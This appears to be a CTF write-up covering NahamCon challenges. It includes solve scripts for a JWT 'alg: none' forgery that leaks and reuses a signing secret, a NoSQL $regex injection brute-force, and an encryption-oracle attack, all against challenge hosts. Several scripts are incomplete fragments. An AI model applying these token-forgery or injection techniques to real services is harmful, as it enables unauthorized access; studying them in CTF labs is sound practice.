nahamcon is a big name in the ctf community. Several interesting challenges…
1. Flagdle (Misc)
We are given a POST endpoint that accepts a flag and returns the number of correct letters and positions, like wordle. Solve script:
import requests
import re
import json
from collections import Counter
url = "http://challenge.nahamcon.com:31122/guess"
headers = {"Content-Type": "application/json"}
hex_chars = "012456789abcde"
flag_length = 32
emoji_map = {
"\ud83d\udfe9": "correct", # 🟩
"\ud83d\udfe8": "misplaced", # 🟨
"\u2b1b": "incorrect" # ⬛
}
def parse_response(response_text):
"""Parse the server's Unicode emoji response into a list of statuses."""
print("Raw response from server:", response_text)
try:
response_json = json.loads(response_text)
result = response_json.get("result", "")
except json.JSONDecodeError:
raise ValueError("Invalid JSON response")
result = result.replace("\ud83d\udfe9", "🟩").replace(
"\ud83d\udfe8", "🟨").replace("\u2b1b", "⬛")
emojis = list(result)
if len(emojis) != flag_length:
raise ValueError(f"Expected 32 emojis, got {len(emojis)}")
print("Decoded emojis:", ''.join(emojis))
return emojis
2. The Martian (misc)
We’re given a file challenge.martian. The first few bytes are 4d 41 52 31 00 01 02 9e ... 534841333834 ... 425a683931 ... 4d 41 52 31 is ASCII for “MAR1”, suggesting it’s a custom or proprietary format, possibly called “MAR1”. The string 534841333834 translates to ASCII as “SHA384” — a hashing algorithm. 425a68 is the magic number for bzip2-compressed files.
So we extract the bzip2 data and decompress it:
dd if=challenge.martian bs=1 skip=52 of=output.bz2
bzip2 -d output.bz2
This gives us a file output, which has the header JFIF, we can convert it to a JPEG image to get the flag.
3. Infinite Queue (web)
Using Inspect, we can see the source code index.js being
In the <script> tag, we see
if (data.wait_minutes > 5000) {
stingerQuote =
Math.random() < 0.5
? "Yikes, get comfortable."
: "You might wanna go start graduate school or something while you wait.";
} else if (data.wait_minutes < 5) {
stingerQuote =
Math.random() < 0.5 ? "Woah, you're next up!" : "How did you do that...?";
} else if (data.wait_minutes < 1) {
stingerQuote = "Get ready!";
}
if (hours > 24) {
const days = Math.floor(hours / 24);
const remainingHours = hours % 24;
waitTimeDisplay = `${data.wait_minutes.toLocaleString()} minutes (approximately ${days} days and ${remainingHours} hours)`;
} else if (hours > 0) {
waitTimeDisplay = `${data.wait_minutes.toLocaleString()} minutes (approximately ${hours} hours and ${minutes} minutes)`;
} else {
waitTimeDisplay = `${data.wait_minutes.toLocaleString()} minutes`;
}
My first thought is to decode the JWT token then modify the queue_time field to be very small (like 1 or 0) to make it appear you’ve been waiting the longest. Then, we can re-sign the ticket with the secret key. Afterwards, use that token to access the /purchase endpoint.
Using jwt.io, I encoded a JWT token with the following payload:
{
"alg": "none",
"typ": "JWT",
"user_id": "test",
"queue_time": 1,
"exp": 5348159040
}
Then, I used this as the token in the POST request to /check_queue:
➜ Downloads curl -X POST -d "token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIiwidXNlcl9pZCI6InRlc3QiLCJxdWV1ZV90aW1lIjoxLCJleHAiOjUzNDgxNTkwNDB9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0." http://challenge.nahamcon.com:32204/check_queue
{"error":"An unexpected error occurred","error_details":{"debug_mode":false,"environment":{"GPG_KEY":"E3FF2839C048B25C084DEBE9B26995E310250568","HOME":"/root","HOSTNAME":"infinite-queue-b9a261abc427af8e-b5456c797-7qqjq","JWT_SECRET":"4A4Dmv4ciR477HsGXI19GgmYHp2so637XhMC","KUBERNETES_PORT":"tcp://34.118.224.1:443","KUBERNETES_PORT_443_TCP":"tcp://34.118.224.1:443","KUBERNETES_PORT_443_TCP_ADDR":"34.118.224.1","KUBERNETES_PORT_443_TCP_PORT":"443","KUBERNETES_PORT_443_TCP_PROTO":"tcp","KUBERNETES_SERVICE_HOST":"34.118.224.1","KUBERNETES_SERVICE_PORT":"443","KUBERNETES_SERVICE_PORT_HTTPS":"443","LANG":"C.UTF-8","PATH":"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","PYTHON_SHA256":"8c136d199d3637a1fce98a16adc809c1d83c922d02d41f3614b34f8b6e7d38ec","PYTHON_VERSION":"3.9.22","WERKZEUG_SERVER_FD":"3"},"error":"The specified alg value is not allowed","request_data":{"token":"eyJhbGciOiJub25lIiwidHlwIjoiSldUIiwidXNlcl9pZCI6InRlc3QiLCJxdWV1ZV90aW1lIjoxLCJleHAiOjUzNDgxNTkwNDB9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0."},"time":"2025-05-25T08:50:54.062321"}}
this is jwt token for {"alg":"none","typ":"JWT", "user_id":"test","queue_time":1,"exp":5348159040}
The error response revealed the JWT secret: 4A4Dmv4ciR477HsGXI19GgmYHp2so637XhMC. Using this secret, I re-signed the token with the HS256 algorithm:
import jwt
JWT_SECRET = "4A4Dmv4ciR477HsGXI19GgmYHp2so637XhMC"
payload = {
"user_id": "test",
"queue_time": 1,
"exp": 5348159040
}
token = jwt.encode(payload, JWT_SECRET, algorithm="HS256")
Sending this POST request gave us {“message”:”Your turn has arrived! You can now purchase tickets.”,”status”:”ready”}.
So we can now access the /purchase endpoint to get the flag while downloading the pdf which contains the flag.
curl -X POST -d "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoidGVzdCIsInF1ZXVlX3RpbWUiOjEsImV4cCI6NTM0ODE1OTA0MH0.ogPE5pyqP9ihVzJcM34PwHUYpwzjmZuliI-0RrsQKFw" \
http://challenge.nahamcon.com:32204/purchase \
-o ticket.pdf
Free Flags (warmup)
Use regex to filter valid flags from a file. The valid flag format is flag{<32 hex characters>}.
pattern = r'^flag{[0-9a-f]{32}}$'
def find_valid_flag(file_path):
try:
with open(file_path, 'r') as file:
flags = file.read().split()
valid_flags = [flag for flag in flags if re.match(pattern, flag)]
return valid_flags
except FileNotFoundError:
print(f"Error: File '{file_path}' not found.")
return []
except Exception as e:
print(f"Error: {e}")
return []
4. Quartet (warmup)
We’re given 4 files: quartet.z01, quartet.z02, quartet.z03, and quartet.z04. These are parts of a split zip archive. This is called a multi-part zip file. To combine them, we can run
cat quartet.z01 quartet.z02 quartet.z03 quartet.z04 > full_quartet.zip
unzip full_quartet.zip
We get
Archive: full_quartet.zip
warning [full_quartet.zip]: zipfile claims to be last disk of a multi-part archive;
attempting to process anyway, assuming all parts have been concatenated
together in order. Expect "errors" and warnings...true multi-part support
doesn't exist yet (coming soon).
warning [full_quartet.zip]: 1526784 extra bytes at beginning or within zipfile
(attempting to process anyway)
file #1: bad zipfile offset (local header sig): 1526788
(attempting to re-compensate)
inflating: quartet.jpeg
Running strings quartet.jpeg | grep -i flag gives us flag{8f667b09d0e821f4e14d59a8037eb376}.
SNAD (web)
In the script.js file, we see that
e >= 7 && (flagRevealed = !0, console.log("🎉 All positions correct! Retrieving flag..."), retrieveFlag()).
checkFlag() checks if 7 particles are settled and are:
-
Within 15 pixels (tolerance) of each of the targetPositions’ (x, y) coordinates.
-
Have a hue difference of less than 20 (hueTolerance) compared to the target hue.
So in the console, we call
injectSand(367, 238, 0);
injectSand(412, 293, 40);
injectSand(291, 314, 60);
injectSand(392, 362, 120);
injectSand(454, 319, 240);
injectSand(349, 252, 280);
injectSand(433, 301, 320);
Then the flag is shown.
5. NoSequel (web)
Created a script to bruteforce the 32 characters using the /search endpoint. Since we know the flag starts with flag{, we can start from there. The script sends a POST request with the current guess and checks the response for the number of correct characters.
URL = "http://challenge.nahamcon.com:31214/search"
KNOWN_FLAG = "flag{"
HEX_CHARS = "0123456789abcdef"
def test_pattern(pattern):
"""Test a regex pattern against the target"""
data = {
'query': f'flag: {{$regex: "{pattern}"}}',
'collection': 'flags'
}
6. Cryptoclock (crypto)
Another bruteforce challenge again. Within a session, the server uses the same key for some form of encryption. And then we can send inputs to be encrypted. We are given the encrypted key, so need to bruteforce the 32 characters of the key to get the encrypted key.
Solve script:
def exploit_cryptoclock(host, port):
def get_encrypted_response(io, plaintext):
io.sendline(plaintext)
try:
io.recvuntil(b'Encrypted: ', timeout=2)
raw_response = io.recvline(timeout=2)
encrypted_response = raw_response.decode(
'utf-8', errors='ignore').strip()
if not all(c in '0123456789abcdefABCDEF' for c in encrypted_response):
raise ValueError("Response is not a valid hex string")
return bytes.fromhex(encrypted_response)
except (UnicodeDecodeError, ValueError, EOFError) as e:
return None
charset = string.ascii_lowercase + string.digits + '_}'
flag = b'flag{'
max_attempts = 3
for attempt in range(max_attempts):
io = remote(host, port)
try:
welcome = io.recvuntil(b'(or \'quit\' to exit):', timeout=2)
print(welcome.decode(errors='ignore'))
encrypted_flag_line = [line for line in welcome.decode(errors='ignore').split(
'\n') if 'encrypted flag is:' in line][0]
encrypted_flag_hex = encrypted_flag_line.split(': ')[1].strip()
encrypted_flag = bytes.fromhex(encrypted_flag_hex)
encrypted_known = get_encrypted_response(io, flag)
if encrypted_known is None or encrypted_known != encrypted_flag[:5]:
io.close()
continue
while len(flag) < len(encrypted_flag):
position = len(flag) + 1
found = False
for c in charset:
test_flag = flag + c.encode()
encrypted_test = get_encrypted_response(io, test_flag)
if encrypted_test is None:
continue
match_length = min(len(encrypted_test), len(
test_flag), len(encrypted_flag))
if encrypted_test[:match_length] == encrypted_flag[:match_length]:
flag = test_flag
found = True
break
if not found:
break
if len(flag) == len(encrypted_flag):
final_flag = flag.decode('utf-8', errors='ignore')
log.success(f"Final flag: {final_flag}")
io.close()
return final_flag
7. Sending Mixed Signals (osint)
This was a really fun osint challenge because it was about the real life incident of the Signal chat being leaked this year.
The tasks were to
- Find the hard-coded credential in the application used to encrypt log files. (format jUStHEdATA, no quotes)
- Find the email address of the developer who added the hard-coded credential from question one to the code base (format name@email.site)
- Find the first published version of the application that contained the hard-coded credential from question one (case sensitive, format Word_#.#.#……).
The first part is easy, it’s written here. We also can get the email address of the developer from the same article. The last part is a bit tricky, but we can find the first version of the app that contained the hard-coded credential by looking at the GitHub repository’s commit history.
So we needa dig through the tag history. You’ll realise that the first version that contains the hard-coded credential is Release_5.4.11.20. I went a whole merry go round using Burpsuite to find the released versions but it wasn’t required :p